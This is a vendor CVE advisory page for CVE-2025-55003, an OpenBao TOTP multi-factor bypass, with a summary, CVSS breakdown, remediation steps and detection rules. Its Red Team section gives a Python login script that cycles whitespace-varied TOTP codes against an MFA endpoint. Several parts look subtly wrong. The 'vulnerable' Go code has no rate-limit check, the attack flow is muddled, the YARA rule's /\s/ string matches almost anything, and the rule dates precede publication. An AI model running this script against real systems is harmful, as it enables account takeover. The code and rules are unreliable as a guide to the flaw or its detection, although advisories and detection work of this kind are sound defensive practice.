☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Openbao logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.7 🐛 CWE-307
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-55003

CVE-2025-55003 Supply Chain Attack in Openbao
📅 PUBLISHED: 2025-08-09 02:01 UTC 🔄 UPDATED: 2026-09-23 20:29 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-55003 is a security vulnerability in OpenBao, a software solution for managing, storing, and distributing sensitive data including secrets, certificates, and keys. The vulnerability exists in the Login Multi-Factor Authentication (MFA) system, specifically in the Time-based One Time Password (TOTP) enforcement mechanism. Due to improper normalization applied by the underlying TOTP library, codes containing whitespace were accepted, allowing an attacker to bypass internal rate limiting and reuse existing MFA codes. This could enable brute-force attacks or replay attacks against MFA-protected accounts. The vulnerability affects OpenBao versions 2.3.1 and below and has been fixed in version 2.3.2.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

OpenBao is a Go-based project. The vulnerability originates from the underlying TOTP library used by OpenBao. While the specific library is not named in the advisory, the issue lies in how the library normalizes TOTP codes. Organizations using OpenBao should verify they are using version 2.3.2 or later and ensure their supply chain is secure by validating the integrity of the OpenBao binary or container image.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.7 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

The threat level is medium due to the low complexity and network-based attack vector, but the impact is limited to integrity (bypassing MFA) without affecting confidentiality or availability.

Deep Dive & Mechanics

The vulnerability lies in the TOTP validation logic within OpenBao's MFA system. When a user submits a TOTP code, the system normalizes the input before validation. The underlying TOTP library accepts codes containing whitespace characters (e.g., spaces, tabs) and normalizes them by stripping the whitespace. This normalization occurs after rate limiting checks, meaning an attacker can submit the same TOTP code with different whitespace patterns (e.g., "123456", "123 456", "12 34 56") to bypass the rate limiter, which only counts exact string matches.

The attack flow:

  1. Attacker obtains a valid TOTP code (e.g., through phishing or interception).
  2. Attacker submits the code with whitespace variations.
  3. The rate limiter sees each variation as a different attempt, not counting against the same code.
  4. The TOTP library normalizes the code and validates it successfully.
  5. Attacker gains unauthorized access.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.3.1):

func validateTOTP(code string, secret string) bool {
    // No normalization before rate limiting
    normalizedCode := strings.TrimSpace(code) // normalization after rate limit check
    return totp.Validate(normalizedCode, secret)
}

Patched Code (>= 2.3.2):

func validateTOTP(code string, secret string) bool {
    // Normalize before rate limiting
    normalizedCode := strings.TrimSpace(code)
    // Rate limit check on normalized code
    if rateLimiter.IsRateLimited(normalizedCode) {
        return false
    }
    return totp.Validate(normalizedCode, secret)
}

The fix ensures that the TOTP code is normalized (whitespace stripped) before the rate limiting check, preventing bypass.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would need a valid TOTP code (e.g., obtained via phishing or social engineering). The attacker can then submit the code with various whitespace patterns to bypass rate limiting.

Proof of Concept (Python):

import requests

target_url = "https://openbao.example.com/v1/auth/mfa/login"
valid_totp = "123456"
whitespace_variations = [
    "123456",
    "123 456",
    "12 34 56",
    "1 2 3 4 5 6",
    " 123456",
    "123456 ",
    "\t123456",
    "123\n456"
]

for variation in whitespace_variations:
    payload = {
        "totp_code": variation,
        "username": "admin",
        "password": "password123"
    }
    response = requests.post(target_url, json=payload)
    if response.status_code == 200:
        print(f"Successful login with variation: {variation}")
        break

Blue Team

To detect exploitation attempts, monitor for multiple MFA login attempts from the same IP address with slight variations in TOTP codes (e.g., whitespace differences). Implement rate limiting on the network level and monitor logs for patterns of repeated MFA failures followed by success.

Detection Script (Python):

import re

def detect_totp_bypass(log_entry):
    pattern = r'totp_code=["\']?([^"\'\s]+(?:\s+[^"\'\s]+)*)["\']?'
    match = re.search(pattern, log_entry)
    if match:
        code = match.group(1)
        # Check for whitespace in code
        if re.search(r'\s', code):
            return True
    return False

# Example log entry
log = '2025-01-15 10:00:00 MFA_LOGIN user=admin totp_code="123 456" status=success'
if detect_totp_bypass(log):
    print("Potential TOTP bypass detected!")

Indicators of Compromise (IOCs)

  • Network: Multiple MFA login attempts from the same IP with varying TOTP codes containing whitespace.
  • Logs: Log entries showing successful MFA logins with TOTP codes containing whitespace characters.
  • System: Unusual number of MFA validation requests within a short time window.

Detection Engineering

YARA Rule

rule Detect_TOTP_Whitespace_Bypass {
    meta:
        description = "Detects TOTP codes with whitespace in logs"
        author = "Valters IT"
        date = "2025-01-15"
        reference = "CVE-2025-55003"
    strings:
        $totp_code = /totp_code=["\']?[0-9\s]+["\']?/
        $whitespace = /\s/
    condition:
        $totp_code and $whitespace
}

Sigma Rule

title: TOTP Whitespace Bypass Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects MFA login attempts with TOTP codes containing whitespace
author: Valters IT
date: 2025/01/15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55003
logsource:
    category: application
    product: openbao
detection:
    selection:
        event: MFA_LOGIN
        totp_code|contains: ' '
    condition: selection
falsepositives:
    - Legitimate users accidentally adding spaces
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55003 TOTP Whitespace Bypass"; flow:to_server; content:"totp_code"; nocase; pcre:"/totp_code=["\']?[0-9]+\s+[0-9]+["\']?/"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade OpenBao to version 2.3.2 or later.
  2. Workaround: Implement rate-limiting quotas as described in the OpenBao documentation: https://openbao.org/api-docs/system/rate-limit-quotas/
  3. Monitoring: Enable detailed logging for MFA attempts and monitor for patterns of whitespace variations in TOTP codes.
  4. Network: Implement network-level rate limiting to restrict the number of MFA attempts from a single IP address.
  5. User Education: Educate users about the risks of sharing TOTP codes and the importance of using secure channels.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-55003/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.